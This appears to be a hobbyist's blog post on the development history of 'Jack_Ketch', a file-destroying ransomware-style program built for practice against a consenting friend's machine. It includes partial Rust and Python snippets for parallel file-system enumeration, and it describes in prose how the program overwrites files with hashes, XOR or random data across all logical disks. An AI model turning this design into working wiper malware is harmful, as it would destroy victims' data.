Jack_Ketch. The first piece of decent malware I have ever created, as a refrence no less. Wikipedia defines Jack Ketch as "John Ketch (died November 1686) was an infamous English executioner employed by King Charles II", "Because of his botched executions, the name "Jack Ketch" is used as a proverbial name for death, Satan and executioners", in essence Jack Ketch is known as death. Just like how malware is capable of 'ending' someone's connections to the world, or 'killing' their access to knowledge and to work.
The Wikipedia article can be found Here.
Description
Jack_Ketch (JackKetch) is a series of ransomware samples I produce for education and improving my skills. It has gone through several itterations from Python to Rust, from processes to threads, from on discovery to recursion. This page is where I will explain how each version was made and the differences in depth. The main learning point of this series is not how to write ransomware, but rather how to improve a program again and again while still maintaining a constant state of usability.
Project Creation
Jack Ketch was created when BorderDestroyer jokingly said "[That1EthicalHacker] likely is already in my computer" prompting me to ask for permission to hack his devices and accounts, he agreed. With the new permsisions granted to me, I collected pages upon pages of information about him. After arming myself with all that information, I started to program something that would also allow me access to his computer if he were to run it (he denied that for now). With the easiest way to access his computer gone out of the window, I decided to try and damage his device instead.
This came with some new challenges though, to what extent and in what way of damaging his computer through software be allowed? The answer is any. After brushing off the contract that Border signed, I was able to find a clause which allowed me to damage his computer in whatever way I wanted, given that the computer could be repaired without issue. So now the question was not how much I could damage, but what to target with controlled damage. And for that I decided on the file-system, reason being that you can back up files and drives off of the targeted device (on a large scale these are called 'off site backups')
Early development
The early development of Jack_Ketch was mainly writing Python code. This can be seen on its Github repo Here. It worked by starting in the calling directory then creating a new process for each directory found. This is a very flawed method of enumerating through a file system due to the amount of processes created. Below is an bit of code from the project displaying this.
*snip* if os.path.isdir(f"{target_directory}\\{item}"): *snip* process_handle = Process(target=diveIntoDirectory, args=(f"{target_directory}\\{item}", depth + 1, max_depth, int(process_limit / 2), int(thread_limit / 2))) process_handle.start() processes.append(process_handle) *snip*
As already stated that with it creating a new process for every directory found it would easily consume CPU and RAM resources. Then, ontop of all that, the program was written in Python, a language known for being very memory hungry and slow. To show in numbers how many processes could be created, the way I have shown this issue to others is with this math equation; x=n-1. Where x is the total amount of processes created and n is the number of directories. So if there are 1000 sub directories the program would make 999 instances of itself (We remove one due to it being called from a starting directory). Meaning that Jack_Ketch would take a long time to even find all the files from where it started, assuming that it started within a privileged environment to even edit files. The way that a file would be edited in this version was to change it's contents to a MD5 hash of the file, meaning that the file's hash is the same for any kind of AV detection but instead of it holding the data that would make up the hash, it instead holds the hash itself.
Version 2
The second version took the base layout and idea of it's earlier parent, but changing the worst for something slightly better. Instead of version two being written in Python, it was made in Rust to improve the speed and memory usage, and instead of creating a new instance of itself for every directory found it instead check the file's it had created and make a new one once so many were closed. However, this simply moved the issue into a more troubling one. This is due to how the program would count the running processes, instead of checking the total through an OS level API call, it checked the ones it had created. Meaning that an instance could open one, that then opens ten of it's own with that one repeating the cycle. Meaning that instead of a total 10 processes, we could end up with 10*n processes, where n is the amount of instances created (assuming the final process creates ten that do not find any directories). This can be shown in the code snip below:
fn dive_into_directory(target_directory: &Path, depth: &u8, process_depth: &u8, process_limit: usize, thread_limit: usize, program_name: &str) { *snip* // Creating a variable to hold the process handles and threads let mut processes: Vec::<Child> = Vec::new(); let mut threads: Vec::<JoinHandle<()>> = Vec::new(); *snip* if item_path.is_dir() { if depth < process_depth { let new_depth = depth + 1; *snip* processes.push(process_handle); process_handle.start(); } else { *snip* threads.push(thread_handle); thread_handle.start(); } } }
Another improvemnet was the usage of OS level threads. To learn about the difference between threads and processes Click here. As a quick coverage of what a thread is in comparison to a process, a process holds several threads meaning we can have ten or twenty threads within one process instead of ten or twenty processes.
Version 3
Version 3 had major improvements over versions one and two, this one uses multithreading and stored recusion over creating a new process or thread for found directories. This not only improved the performance in terms of memory and CPU usage but it also improved the time it takes to run the file. This is possible to how the files are found, when a directory is found it is saved within a vector of directories to search, while any files are saved in another vector for manipulation later. A loop itterated over all elements within the found directories ensuring that any found ones get looked into. The code snip below shows this
*snip* let mut folders_to_search: Vec<PathBuf> = Vec::with_capacity(100000); let mut add_buffer: Vec<PathBuf> = Vec::with_capacity(1000); let mut files: Vec<PathBuf> = Vec::with_capacity(100000); *snip* while folders_to_search.len() > 0 { for directory in folders_to_search.iter() { *snip* if entry_path.is_dir() { add_buffer.push(PathBuf::from(entry_path)); } else { files.push(PathBuf::from(entry_path)); } *snip* } } *snip*
To speed up the file manipulation I designed version 3 to take the vector of files and devide it based on the amount of logical CPU cores the device has, once they are split up a thread is created for each group to ensure that they can all run in parallel without interfering with each other and not taking up as much memory or processing power as other versions.
The changes between version 2 and 3 for changing the file's contents was from a XOR operation to random data.
Version 4 and 5
Version 4 and version 5 dont have too many different things between the two. The main changes between them and version 3 is that logical disks are found using the Windows API which are then enumerated on their own threads. The file manipulation and directory discovery are the same as version 3 but with slight optimization to enumerate an entire 2TB hfm001td3gx013n-skhynix SSD within ten seconds finding 53070 files. Another change is on the vector side, in version 3 and 4 a predefined vector size to hold 100000 directories was made, which is much too large due to vectors being mutable in size.
Socials:
Special thanks to:
- BorderDestroyer
- RussianSpy
- CCNA 1 teacher
- Rishik
- Cybersecurity teacher
- Computer science 1 teacher
And I do really mean thanks. Due to your support, testing, and advice regarding my programs it is possible that I even program! If it wasnt for your help, I would be working towards becoming an auto-mechanic (it's true)